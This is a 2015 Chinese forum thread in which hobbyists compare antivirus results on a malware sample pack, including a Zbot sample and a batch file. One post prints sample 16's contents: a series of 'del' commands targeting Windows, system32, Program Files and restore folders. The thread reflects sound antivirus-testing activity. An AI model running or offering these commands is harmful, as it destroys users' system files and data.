精睿样本测试（15.11.12）

驭龙

aboringman 发表于 2015-11-12 19:33
46是Zbot，还是那个味道啊

KIS：SW killed

16应该是BAT格式

aboringman

驭龙 发表于 2015-11-12 19:38
16应该是BAT格式

浓浓的恶意出现了

aboringman

驭龙 发表于 2015-11-12 19:38
16应该是BAT格式

卡巴主防被过，断网了。。。。。
好奇怪的一道菜啊

驭龙

aboringman 发表于 2015-11-12 19:43
卡巴主防被过，断网了。。。。。
好奇怪的一道菜啊

你重启看看卡巴安否

aboringman

驭龙 发表于 2015-11-12 19:44
你重启看看卡巴安否

那个程序运行到后面我就结束掉了，把我IP和那啥都改了
就不重启了，知道卡巴没事，这菜真好吃啊

aboringman

驭龙 发表于 2015-11-12 19:44
你重启看看卡巴安否

好吧，告诉我16到底是什么

nick20010117

aboringman 发表于 2015-11-12 20:20
好吧，告诉我16到底是什么

16好像会删除系统的许多安全目录吧
del "C:\Program Files\Microsoft Games
del "C:Nexon
del "C:\Program Files\Xfire
del "C:\Program Files\Adobe"
del "C:\Program Files\Internet Explorer"
del "C:\Program Files\Mozilla Firefox"
del "C:\WINDOWS"
del "C:\WINDOWS\system32"
del "C:\WINDOWS\system32\cmd"
del "C:\WINDOWS\system32\iexpress"
del "C:\WINDOWS\system32\sndvol32"
del "C:\WINDOWS\system32\sndrec32"
del "C:\WINDOWS\system32\Restore\rstrui"
del "C:\WINDOWS\system32\wupdmgr"
del "C:\WINDOWS\system32\desktop"
del "C:\WINDOWS\java"
del "C:\WINDOWS\Media"
del "C:\WINDOWS\Resources"
del "C:\WINDOWS\system"
del "C:\drivers"
del "C:\drv"
del "C:\SYSINFO"
del "C:\Program Files"

aboringman

nick20010117 发表于 2015-11-12 22:13
16好像会删除系统的许多安全目录吧
del "C:\Program Files\Microsoft Games
del "C:Nexon

难道是我比较厉害，它没有得手？？？？？
我这边就算是实机玩也没有任何问题啊。。。。。。
@驭龙

nick20010117

aboringman 发表于 2015-11-12 22:16
难道是我比较厉害，它没有得手？？？？？
我这边就算是实机玩也没有任何问题啊。。。。。。
@驭龙

不知道哈

aboringman

nick20010117 发表于 2015-11-12 22:19
不知道哈

。。。。。。好吧，我无话可说了，只能说我的系统真够硬。。。。。。。